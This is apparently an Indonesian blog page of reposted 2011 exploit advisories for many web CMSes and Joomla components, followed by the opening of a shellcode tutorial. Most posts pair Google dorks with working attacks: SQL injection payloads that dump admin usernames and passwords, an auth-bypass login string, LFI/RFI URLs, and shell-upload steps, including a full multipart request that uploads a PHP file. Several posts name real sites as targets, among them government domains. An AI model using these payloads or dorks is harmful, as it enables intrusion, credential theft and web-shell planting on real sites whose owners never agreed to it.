Tampilkan postingan dengan label exploit. Tampilkan semua postingan
Tampilkan postingan dengan label exploit. Tampilkan semua postingan

Senin, 21 Maret 2011

Shimbi CMS SQL Injection

Title  : Shimbi CMS Vulnerable to Multiple SQL Injections
Vendor : http://www.shimbi.in/
Found by : p0pc0rn
Dork   : intext:"Powered By Shimbi CMS"
 
SQL Injection in details.php parameter
---------------------------------------
http://site.com/details.php?id=[sql]
 
POC
---
http://site.com/details.php?id=112 UNION SELECT 1,2,3,4,version(),6,7,8
 
SQL Injection in faq_details.php parameter
---------------------------------------
http://site.com/faq_details.php?flag=q&id=[sql]
 
POC
---
http://site.com/faq_details.php?flag=q&id=1'
 
SQL Injection in blog/addComment.php parameter
---------------------------------------
http://site.com/blog/addComment.php?topic_id=[sql]
 
POC
---
http://site.com/blog/addComment.php?stat=stat&type=t&category_id=9&topic_id=
-122/**/UNION/**/SELECT/**/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16--
 
thanks,
-p0pc0rn-

Jumat, 18 Maret 2011

Shape Web Solutions CMS SQL Injection Vulnerability

Exploit Title: Shape Web Solutions CMS SQL Injection Vulnerability 
Arrow Credit : Ashiyane Digital Security Team 
Date: 03-18-2011 
Author: HashoR 
Vendor or Software Link: http://www.shapeweb.com.br/                                   
Category:: webapps 
Google dork: inurl:".br/imprimir.php?id=" 
Exploit : /imprimir.php?id=1' 
Demo site: http://marcoeusebio.com.br/imprimir.php?id=8325'
[Greetz]                                                                                                                            
 -=- elvator -=- r3d.z0nE -=- Behrooz_Ice -=- Ali_Eagle
Satanic2000 -=- Rz04 
Zend -=- Virangar-=-Milad-Bushehr -=- Iman_TakTaz -=- M3QD4D -=- Hijacker 

Sql injection Vulnerability

[~] AplikaMedia : Sql injection Vulnerability
[~] Author : Dedex Caem kng'Crew
[~] Credit : CYBER KNG (KUNINGAN)
[~] Vulnerable Page : Warning: mysql
[~] Google Dork : site:.go.id +inurl:id= +Warning: mysql
==========================================================
[+]Example:
[+]http://www.samarinda.go.id/node/10301
[+]http://www.pegbintangkab.go.id/admin/modul/body/contact/editcontact.php
[+]http://database.deptan.go.id/puap/

grez group: 
[+]CYBER KNG (KUNINGAN),Cyber X-plorer,MANUSIA BIASA TEAM,securityfocus
 
grez: 
[+]Begundal Nyasar|Dic-exe kng'Crew|Alzea Hnc|Sen Creazy| 
Beruang-Kutub Limited-Edition|Dyaz Mati Rasa|Gembel ELit|chakotaja|
Amani Jerbi|YakiNage kng'Crew all my friend and you

Rabu, 16 Maret 2011

AplikaMedia CMS SQL Injection

[~] Google Dork : inurl:page_info.php?id_brt=
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                   [Exploit]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[+]Exploit:

http://www.dyna-h2o.com/page_info.php?id_brt=[Sql_injection]
 
[+]Example:

http://www.dyna-h2o.com/page_info.php?id_brt=43%20and%201=2%20union%
20select%200,1,2,3,4,0x483358205761732048657265202520536570656872205365
637572697479205465616d,6,group_concat%28username,0x3a,password%29,8,9,10,11,
12,13,14,15%20from%20useradmin--
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[*]Greetz:thE_Knight - Einestin - Wizard - Naboodgar 
   C0NS74NTINE & all Sepehr Security Teams members

Senin, 14 Maret 2011

SSWebPlus CMS SQL Injection

Dork:inurl:info_view.php?idx=
 
Exploit[+]:

http://[site]/info_view.php?idx=[SQL_Injection]

Example[+]:

http://villanvilla.co.kr/info_view.php?idx=[SQL_Injection]

NOTE:The CMS is usually important in public and Government sites in South Korea and China used.

#################################################

Greetz:thE_Knight - Einestin - Wizard - Naboodgar - C0NS74NTINE & all Sepehr Security Teams members

Joomla Doqment SQL Injection / LFI / RFI

Go0gle Dork : " inurl:com_doqment "
#==============>>>>> Exploit (1) SQL Injection %100 <<<<<=======================#
> DzSQL : -11/**/union/**/select/**/1,2,concat(username,0x3a,password),4,5,6,7,8/**/from/**/jos_users--

> ExplO!t : http://[Target]/[Path]/index.php?option=com_doqment&cid= ! [ DzSQL Here ] !

#==============>>>>> Exploit (2) Remote File Inclusion %50 <<<<<=================#
> DzShell : http://[Your-Space]/Sh311.php

> ComBug : admin.ponygallery.html.php?mosConfig_absolute_path=

> ExplO!t : http://[Target]/[Path]/index.php?option=com_doqment&cid=[+ ComBug +]=[ ! DzShell ! ]
 
#==============>>>>> Exploit (3) Local File Inclusion %50 <<<<<=================#

> ExplO!t : http://[Target]/[Path]/components/com_doqment/documents?file=[LFI]
    >       http://[Target]/[Path]/components/com_doqment/documents/file?id=[LFI]
    >       http://[Target]/[Path]/components/com_doqment/documents/?=[LFI]
    >     http://[Target]/[Path]/components/com_doqment/files/?=[LFI]
    >       http://[Target]/[Path]/components/com_doqment/file/?=[LFI]
 
Special Greets to : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS >


Jumat, 11 Maret 2011

Joomla File Uploader Shell Upload

Author : KedAns-Dz
 
Go0gle Dork : inurl:com_fileuploader

Demo : http://[TARGET]/[PATH]/index.php?option=com_fileuploader&view=fileuploader&Itemid=7

# Example : http://www.aziz-rehman.com/index.php?option=com_fileuploader&view=fileuploader&Itemid=7

# Exploit : 

1 - Goto Upload Page .../index.php?option=com_fileuploader&view=fileuploader&Itemid=7

2 - Upload Shell .txt .jpg ... etc

Kamis, 10 Maret 2011

Keynect Ecommerce SQL Injection

# Dork     : inurl:products.php?ctf=

Exploit  :
======================
 
http://localhost.com//products.php?ctf={sqli}
 
 
======================
example:
======================
 
http://localhost.com/products.php?ctf=-1+union+select+
0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43+from+information_schema.tables--
 
 
http://localhost.com/products.php?ctf=-1+union+select+0,1,2,3,4,5,6,concat%28ID,
username,password%29,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+users
 
 
======================
Information :
======================
 
password decrypt md5 
================================   Mexican shotos  ========================================
Greetz : all my friend * zer0-zo0rg * Bucio * Klanx * Xoxonaizer * GothicX * Duuf * Murder etc
-------------------------------------------------------------------------------------------


Rabu, 09 Maret 2011

Joomla PR Local File Inclusion

# Title : Joomla Component (com_pr) Local File Inclusion Vulnerability
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)
# Twitter page : twitter.com/kedans
# platform : php
# Impact : Local File Inclusion
# Tested on : Windows XP sp3 FR

# Note : BAC 2011 Enchallah ( Me & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all )

# Go0gle Dork : inurl:com_pr


Demo:

http://[Target]/[Path]/index.php?Q=/vwar/joomla/components/com_extcalendar//index.php?option=com_pr

Explo!t : 

http://[Target]/[Path]/index.php?Q=[LFI]

#================[ Exploited By KedAns-Dz * HST-Dz * ]=========================
# GreetZ to : Islampard * Dr.Ride * Zaki.Eng * BadR0 * NoRo FouinY * Red1One
# XoreR * Mr.Dak007 * Hani * TOnyXED * Fox-Dz * Massinhou-Dz ++ all my friends ;
# > Algerians <  [D] HaCkerS-StreeT-Team [Z] > Hackers <
# My Friends on Facebook : Nayla Festa * Dz_GadlOl * MatmouR13 ...all Others
# 4nahdha.com : TitO (Dr.Ride) *  MEN_dz * Mr.LAK (Administrator) * all members ...
# sec4ever.com members Dz : =>>
#  Ma3sTr0-Dz * Indoushka * MadjiX * BrOx-Dz * JaGo-Dz ... all Others
# hotturks.org : TeX * KadaVra ... all Others
# Kelvin.Xgr ( kelvinx.net)
#==========================================================================

Web Design by Webz Vulnerable to SQL Injection

Title  : Web Design by Webz Vulnerable to SQL Injection
Web      : http://www.webz.com.my/
Found by : p0pc0rn 08/03/2011
Dork : intext:"Web Design by Webz" filetype:asp site:my <=malasia lagi MSN Onion Emoticons
 
SQL - Microsoft JET Database Engine error
------------------------------------------

http://www.cudo.com.my/products2.asp?catID=113&brandID=107%27[SQL]
http://www.mistral.com.my/products.asp?cat3id=109%27[SQL]
http://www.leadersteel.my/news.asp?catID=17%27[SQL]


PHP-Nuke Shell Upload Vulnerability

# By : h311 c0d3

# Contact : x7s@att.net

# Home : Black-Hat.cc

# Dork : inurl:modules.php?name=Upload

# Exploit :

# 1- you should first install Tamper Data from here

# https://addons.mozilla.org/en-us/firefox/addon/tamper-data/

# 2- start tamper then, upload your shell as shell.jpg and 

# rename it to shell.php5 from tamper and it will give you shell link

# Regards To : hcj , i-hmx , karar , T3rr0rsit , cyb3r-1st , s4s

Senin, 07 Maret 2011

Shell Upload Vulnerability

# DorK    :  inurl:jobseeker_register.php 
 
[+] Exploit
 
[1] Register Frist ..
[-] http://localhost/path/jobseeker_register.php
 
[2] Create New Upload Your Shell.php ..
[-] http://localhost/path/jobseeker_document.php
 
[3] To See Shell Edit Your Document
[-] http://localhost/path/files/document/1/Shell.php
 
[4] Now Your R00T Box
http://www.laymark.com/i/o/24.gifhttp://www.laymark.com/i/o/24.gif

CMS (ASP.NET) Shell Upload Vulnerability

dork : "Sitefinity: Login"
 
exploit # /UserControls/Dialogs/ImageEditorDialog.aspx
 
first go to # http://site.com/sitefinity/
 
then # http://site.com/sitefinity/UserControls/Dialogs/ImageEditorDialog.aspx
 
select # asp renamed via the .asp;.jpg (shell.asp;.jpg)
 
Upload to # http://site.com/Images/[shell]
 
Video : http://net-edit0r.persiangig.com/Film/0day.rar

1.1 Remote File Upload Vulnerability

[»] Dork    :  [ "Powered by Acidcat CMS " ]
 
===[ Exploit ]===
[»] http://server/admin/fckeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=connectors/asp/connector.asp
 
[»] asp renamed via the .asp;.jpg (shell.asp;.jpg)
 
===[ Upload To ]===
 
[»] http://server/read_write/file/[Shell]
 
[»] http://server/public/File/[Shell]

Softman Admin SQL Injection


# Title : SOFTMAN Admin (Auth Bypass) SQl Injection Vulnerability
#
# Author: eXeSoul
#
# Home  : www.indishell.in or www.andhrahackers.com
#
# Email : exe.soul@live.com
#
# date  : 7/3/2011
# 
# D0rk  : [i]   "Powered by SOFTMAN"  
#         [ii]  "Powered by Softman Multitech Pvt Ltd"
#         [iii] "All Rights reserved by SOFTMAN"
 

                      _ _ _ 
#                   .-"      "-.
#                  /            \
#                 |    eXeSoul   |
#                 |,  .-.  .-.  ,|
#                 | )(_o/  \o_)( |      
#                 |/     /\     \|           
#       (@_       (_     ^^     _)
#  _     ) \_______\__|IIIIII|__/_______________________________
# (_)@8@8{}<________|-\IIIIII/-|________________________________>
#        )_/         \       / 
#       (@     
#
#            +-+-+-+-+-+-+-+-+-+-+
#         --+|I|N|D|I|S|H|E|L||L|+--
#            +-+-+-+-+-+-+-+-+-+-+
# 
 Script Vendor: http://www.softman-pk.com


          ...----....
                         ..-:"''      .  ''"-..
                      .-'                      '-.
                    .'          Indishell.in      '.
                  .'   .          .    .      .    .''.
                .'  .    .   ....    .   . ..:       .  .
              .' .   . .  .       . .                ...::.
             ..   .   .      .         .   .  ..  . ....:IA.
            .:  .   .    .    .  .  .    .. .  .. .. ....:IA.
           .: .   . ..                . . .. . ... ....:.:VHA.
           '..  .  .. .   .       .  . .. . .. . .....:.::IHHB.
          .:. .  . .  . .   .  .  . . . ...:.:... .......:HIHMM.
         .:.... .   . ."::"'.. .   .  . .:.:.:II;,. .. ..:IHIMMA
         ':.:..  ..::IHHHHHI::. . .  ...:.::::.,,,. . ....VIMMHM
        .:::I. .AHHHHHHHHHHAI::. .:...,:IIHHHHHHMMMHHL:. . VMMMM
       .:.:V.:IVHHHHHHHMHMHHH::..:" .:HIHHHHHHHHHHHHHMHHA. .VMMM.
       :..V.:IVHHHHHMMHHHHHHHB... . .:VPHHMHHHMMHHHHHHHHHAI.:VMMI
       ::V..:VIHHHHHHMMMHHHHHH. .   .I":IIMHHMMHHHHHHHHHHHAPI:WMM
       ::". .:.HHHHHHHHMMHHHHHI.  . .:..I:MHMMHHHHHHHHHMHV:':H:WM
       :: . :.::IIHHHHHHMMHHHHV  .ABA.:.:IMHMHMMMHMHHHHV:'. .IHWW
       '.  ..:..:.:IHHHHHMMHV" .AVMHMA.:.'VHMMMMHHHHHV:' .  :IHWV
        :.  .:...:".:.:TPP"   .AVMMHMMA.:. "VMMHHHP.:... .. :IVAI
       .:.   '... .:"'   .   ..HMMMHMMMA::. ."VHHI:::....  .:IHW'
       ...  .  . ..:IIPPIH: ..HMMMI.MMMV:I:.  .:ILLH:.. ...:I:IM
     : .   .'"' .:.V". .. .  :HMMM:IMMMI::I. ..:HHIIPPHI::'.P:HM.
     :.  .  .  .. ..:.. .    :AMMM IMMMM..:...:IV":T::I::.".:IHIMA
     'V:.. .. . .. .  .  .   'VMMV..VMMV :....:V:.:..:....::IHHHMH
       "IHH:.II:.. .:. .  . . . " :HB"" . . ..PI:.::.:::..:IHHMMV"
        :IP""HHII:.  .  .    . . .'V:. . . ..:IH:.:.::IHIHHMMMMM"
        :V:. VIMA:I..  .     .  . .. . .  .:.I:I:..:IHHHHMMHHMMM
        :"VI:.VWMA::. .:      .   .. .:. ..:.I::.:IVHHHMMMHMMMMI
        :."VIIHHMMA:.  .   .   .:  .:.. . .:.II:I:AMMMMMMHMMMMMI
        :..VIHIHMMMI...::.,:.,:!"I:!"I!"I!"V:AI:VAMMMMMMHMMMMMM'
        ':.:HIHIMHHA:"!!"I.:AXXXVVXXXXXXXA:."HPHIMMMMHHMHMMMMMV
          V:H:I:MA:W'I :AXXXIXII:IIIISSSSSSXXA.I.VMMMHMHMMMMMM
            'I::IVA ASSSSXSSSSBBSBMBSSSSSSBBMMMBS.VVMMHIMM'"'
             I:: VPAIMSSSSSSSSSBSSSMMBSSSBBMMMMXXI:MMHIMMI
            .I::. "H:XIIXBBMMMMMMMMMMMMMMMMMBXIXXMMPHIIMM'
            :::I.  ':XSSXXIIIIXSSBMBSSXXXIIIXXSMMAMI:.IMM
            :::I:.  .VSSSSSISISISSSBII:ISSSSBMMB:MI:..:MM
            ::.I:.  ':"SSSSSSSISISSXIIXSSSSBMMB:AHI:..MMM.
            ::.I:. . ..:"BBSSSSSSSSSSSSBBBMMMB:AHHI::.HMMI
            :..::.  . ..::":BBBBBSSBBBMMMB:MMMMHHII::IHHMI
            ':.I:... ....:IHHHHHMMMMMMMMMMMMMMMHHIIIIHMMV"
              "V:. ..:...:.IHHHMMMMMMMMMMMMMMMMHHHMHHMHP'
               ':. .:::.:.::III::IHHHHMMMMMHMHMMHHHHM"
                 "::....::.:::..:..::IIIIIHHHHMMMHHMV"
                   "::.::.. .. .  ...:::IIHHMMMMHMV"
                     "V::... . .I::IHHMMV"'
                       '"VHVHHHAHHHHMMV:"'
    .o oOOOOOOOo                                    OOOo
    Ob.OOOOOOOo  OOOo.      oOOo.                      .adOOOOOOO
    OboO"""""""""""".OOo. .oOOOOOo.    OOOo.oOOOOOo.."""""""""'OO
    OOP.oOOOOOOOOOOO "POOOOOOOOOOOo.   `"OOOOOOOOOP,OOOOOOOOOOOB'
    `O'OOOO'     `OOOOo"OOOOOOOOOOO` .adOOOOOOOOO"oOOO'    `OOOOo
    .OOOO'            `OOOOOOOOOOOOOOOOOOOOOOOOOO'            `OO
    OOOOO                 '"OOOOOOOOOOOOOOOO"`                oOO
   oOOOOOba.                .adOOOOOOOOOOba               .adOOOOo.
  oOOOOOOOOOOOOOba.    .adOOOOOOOOOO@^OOOOOOOba.     .adOOOOOOOOOOOO
 OOOOOOOOOOOOOOOOO.OOOOOOOOOOOOOO"`  '"OOOOOOOOOOOOO.OOOOOOOOOOOOOO
 "OOOO"       "YOoOOOOMOIONODOO"`  .   '"OOROAOPOEOOOoOY"     "OOO"
    Y           'OOOOOOOOOOOOOO: .oOOo. :OOOOOOOOOOO?'         :`
    :            .oO%OOOOOOOOOOo.OOOOOO.oOOOOOOOOOOOO?         .
    .            oOOP"%OOOOOOOOoOOOOOOO?oOOOOO?OOOO"OOo
                 '%o  OOOO"%OOOO%"%OOOOO"OOOOOO"OOO':
                      `$"  `OOOO' `O"Y ' `OOOO'  o             .






#    Go To Admin Panel :-
# 
#    Login With this information :-
# 
#    Admin :-       ' or 'x'='x
#    
#    password :-    ' or 'x'='x
http://packetstormsecurity.org/files/view/99026/softman-sql.txt
[»] Dork    :           [ "Powered by CubeCart 3.0.0" ]
[»] Bug Info:           [ Use Your Mind To How To Upload PHP Shell Script On This CMS ]
 
===[ Exploit ]===
  
  [»] http://server/admin/includes/rte/editor/filemanager/browser/default/connectors/test.html
  
  [»] Just use PHP Mode for uploading your files
 
===[ Upload To ]===
 
  [»] http://server/images/File/[Shell]

http://www.1337day.com

File Upload Vulnerability

dork:"Powered by s9y"  and  "Powered by serendipity"
up:
/path/htmlarea/plugins/ExtendedFileManager/manager.php

shell:
/htmlarea/plugins/ExtendedFileManager/demo_images/shell.php.gif

http://www.1337day.com

RuubikCMS < v1.0.3 Shell Upload Vulnerability

Exploit Title : RuubikCMS < v1.0.3  Shell Upload Vulnerability
 
Google Dork : Powered by RuubikCMS
 
Date : 2011-03-06
 
Author : Alexander
 
Software Link : http://www.ruubikcms.com
 
Version : < v1.0.3
 
Test On : Linux/php
 
CVE : Web Applications
 
###########################################################################
 
===[ Exploit ]=== 
 
http://server/[patch] /tiny_mce/plugins/tinybrowser/tinybrowser.php
 
Select the Upload And Then Browse File.gif
 
===[ Upload To ]===
 
http://server/[patch]/useruploads/images/File.gif
 
OR
 
http://server/[patch] /upload/image/File.gif
 
===[ Demo ]===
 
http://server/ruubikcms/tiny_mce/plugins/tinybrowser/tinybrowser.php
 
 
http://www.1337day.com

Sabtu, 05 Maret 2011

PBlogEX 1.2 Shell Upload

# PBlogEX v1.2 Multiply Vulnerabilities

# vendor: http://www.twelvedev.com/
# By l3lack_lord
# WwW.Mokhareb.NeT
# Demo: http://f-ochoa.com/
# Tested On: Apache/2.2.9 - PHP/5.2.6
# Date: 2011/03/4

# Des:
# The Admin Password Change Not Authoritated for execute

# POC:
http://Site.com/PBlogEX/admin/admin.password.php
[POST]user=1&password=l3lack_lord

Now Password Will change to l3lack_lord
http://Site.com/PBlogEX/admin
u should gess admin user :)

#################################################################

# Des:
# Remote Shell uplode possible on this cms with no authetication in image.upload.php

# POC:
http://Site.com/PBlogEX/admin/image.upload.php
[POST]
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://Site.com/PBlogEX/admin/admin.php
Content-Type: multipart/form-data; boundary=---------------------------225932708016080
Content-Length: 5775

-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="filephoto"; filename="p.jpg.php"\r\n
Content-Type: image/jpeg\r\n
\r\n
<?php\r\n
phpinfo();\r\n
?>\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="titlephoto"\r\n
\r\n
aaa\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="descphoto"\r\n
\r\n
aaa\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="Default1"\r\n
\r\n
on\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="0"\r\n
\r\n
f\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="1"\r\n
\r\n
i\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="2"\r\n
\r\n
l\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="3"\r\n
\r\n
e\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="4"\r\n
\r\n
p\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="5"\r\n
\r\n
h\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="6"\r\n
\r\n
o\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="7"\r\n
\r\n
t\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="8"\r\n
\r\n
o\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="9"\r\n
\r\n
=\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="10"\r\n
\r\n
p\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="11"\r\n
\r\n
.\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="12"\r\n
\r\n
j\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="13"\r\n
\r\n
p\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="14"\r\n
\r\n
g\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="15"\r\n
\r\n
&\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="16"\r\n
\r\n
t\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="17"\r\n
\r\n
i\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="18"\r\n
\r\n
t\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="19"\r\n
\r\n
l\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="20"\r\n
\r\n
e\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="21"\r\n
\r\n
p\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="22"\r\n
\r\n
h\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="23"\r\n
\r\n
o\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="24"\r\n
\r\n
t\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="25"\r\n
\r\n
o\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="26"\r\n
\r\n
=\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="27"\r\n
\r\n
a\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="28"\r\n
\r\n
a\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="29"\r\n
\r\n
a\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="30"\r\n
\r\n
&\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="31"\r\n
\r\n
d\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="32"\r\n
\r\n
e\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="33"\r\n
\r\n
s\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="34"\r\n
\r\n
c\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="35"\r\n
\r\n
p\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="36"\r\n
\r\n
h\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="37"\r\n
\r\n
o\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="38"\r\n
\r\n
t\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="39"\r\n
\r\n
o\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="40"\r\n
\r\n
=\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="41"\r\n
\r\n
a\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="42"\r\n
\r\n
a\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="43"\r\n
\r\n
a\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="44"\r\n
\r\n
&\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="45"\r\n
\r\n
D\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="46"\r\n
\r\n
e\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="47"\r\n
\r\n
f\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="48"\r\n
\r\n
a\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="49"\r\n
\r\n
u\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="50"\r\n
\r\n
l\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="51"\r\n
\r\n
t\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="52"\r\n
\r\n
1\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="53"\r\n
\r\n
=\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="54"\r\n
\r\n
o\r\n
-----------------------------225932708016080\r\n
Content-Disposition: form-data; name="55"\r\n
\r\n
n\r\n
-----------------------------225932708016080--\r\n


copy file name in error that will print..like 2011-03-02_7032_p.jpg.php
Shell Path :
http://Site.com/PBlogEX/images/2011-03-02_7032_p.jpg.php


# Virangar Security Team , DeltaHacking TEam , Aria-Security
# tnX t0 mY cronies Hares And Netw0rm :-*

Sabtu, 26 Februari 2011

Belajar Membuat Shellcode (I): Local Exploit Shellcode


Seringkali shellcode terlihat dalam source code exploit berbentuk untaian kode-kode hexa. Sebenarnya apa itu shellcode dan apa makna di balik kode-kode hexa itu? Dalam artikel ini saya akan menjelaskan tentang shellcode dan kita juga akan praktek belajar membuat shellcode sendiri.
Shellcode, Exploit dan Vulnerability
Shellcode, exploit dan vulnerability adalah 3 saudara kandung. Semua berawal dari keteledoran sang  programmer sehingga programnya mengandung vulnerability yang bisa di-exploit untuk membuat program tersebut menjalankan code apapun yang diinginkan hacker (arbitrary code execution), code ini disebut dengan shellcode.
Dalam kondisi normal, program mengikuti instruksi yang dibuat oleh penciptanya (programmer). Hacker bisa membuat program mengikuti perintahnya dan mengabaikan perintah penciptanya dengan mengexploit vulnerability yang mengakibatkan arbitrary code execution
Kenapa disebut shellcode? Bila hacker bisa membuat program mengeksekusi code apapun yang dia mau, maka code apakah yang dipilihnya? Pilihan terbaik adalah code yang memberikan dia shell sehingga dia bisa memberi perintah lain yang dia mau dengan leluasa. Oleh karena itu code itu disebut shell-code.
Bila diibaratkan misile: exploit adalah misilnya, sedangkan shellcode adalah warhead yang bisa diisi dengan apa saja seperti bahan peledak, nuklir, senjata kimiawi atau senjata biologis terserah keinginan penyerang.
Walaupun umumnya shellcode memberikan shell, shellcode tidak selalu memberikan shell. Attacker bebas menentukan code apa yang akan dieksekusi di komputer korban. Shellcode bisa melakukan apa saja mulai dari menghapus file, memformat hardisk, mengirimkan data, menginstall program baru dsb terserah keinginan attacker.
Arbitrary Code Execution
Arbitrary code execution adalah kondisi dimana attacker dapat menginjeksi sembarang code/instruksi ke dalam suatu proses yang sedang running, kemudian code tersebut dieksekusi. Code yang diinjeksi itu disebut dengan shellcode. Code dalam shellcode adalah dalam bentuk bahasa mesin atau opcode. Biasanya opcode ini tidak dituliskan dalam nilai binary karena akan menjadi sangat panjang, melainkan memakai nilai hexa yang lebih kompak.
Antara Code dan Data
Sebenarnya code adalah data juga yang isinya adalah instruksi yang bisa dieksekusi komputer. Dalam memori, secara internal, data dan code tidak ada bedanya karena keduanya hanyalah untaian simbol 1 dan 0.
Saya beri contoh simple: Apakah nilai 50 hexa atau 01010000 binary di suatu lokasi memori adalah code atau data?
  • Bila 50 hexa dianggap sebagai data bertipe karakter, maka itu adalah kode ascii untuk huruf ‘P’.
  • Bila 50 hexa dianggap sebagai code, maka itu adalah instruksi PUSH EAX (dalam mode 32 bit) atau PUSH AX (dalam mode 16 bit).
Begitu juga dengan string “ABCD”, bisa dianggap sebagai data maupun code, perhatikan contoh di bawah ini:
1
2
3
4
5
6
7
8
9
10
11
12
$ perl -e 'print "ABCD"'|xxd
0000000: 4142 4344                                ABCD
$ perl -e 'print "ABCD"'|ndisasm -b 16 -
00000000  41                inc cx
00000001  42                inc dx
00000002  43                inc bx
00000003  44                inc sp
$ perl -e 'print "ABCD"'|ndisasm -b 32 -
00000000  41                inc ecx
00000001  42                inc edx
00000002  43                inc ebx
00000003  44                inc esp
Dalam contoh di atas ABCD secara internal disimpan sebagai 0×41, 0×42, 0×43 dan 0×44, yaitu kode ASCII dari karakter ‘A’,'B’,'C’,'D’ (lihat baris ke-2). Namun data yang sama bisa juga dianggap sebagai code 16 bit atau 32 bit seperti pada baris ke-4 s/d ke-7 untuk code 16 bit dan baris ke-9 s/d ke-12 untuk code 32 bit.
Sekarang pertanyaannya adalah kapan suatu data diperlakukan sebagai data dan kapan diperlakukan sebagai code? Jawabannya adalah ketika suatu data ditunjuk oleh instruction pointer, atau program counter yang biasanya ada pada register EIP (IP pada sistem 16 bit), maka data di lokasi itu adalah code yang akan dieksekusi.
Data apapun yang berada di lokasi memori yang alamatnya disimpan pada EIP akan dianggap sebagai code.
Sebagai demonstrasi, program kecil di bawah ini menunjukkan bahwa sebuah data bisa juga dianggap sebagai code bila ditunjuk oleh EIP.
1
2
3
4
5
6
7
#include <stdio.h>
char str[] = "ABCHIJK\xc3";
int main(void) {
        printf("%s\n",str); // str as argument of printf()
        ((void (*)(void))str)(); // str()
        return 0;
}
$ gcc codedata.c -o codedata
$ ./codedata
ABCHIJKÃ
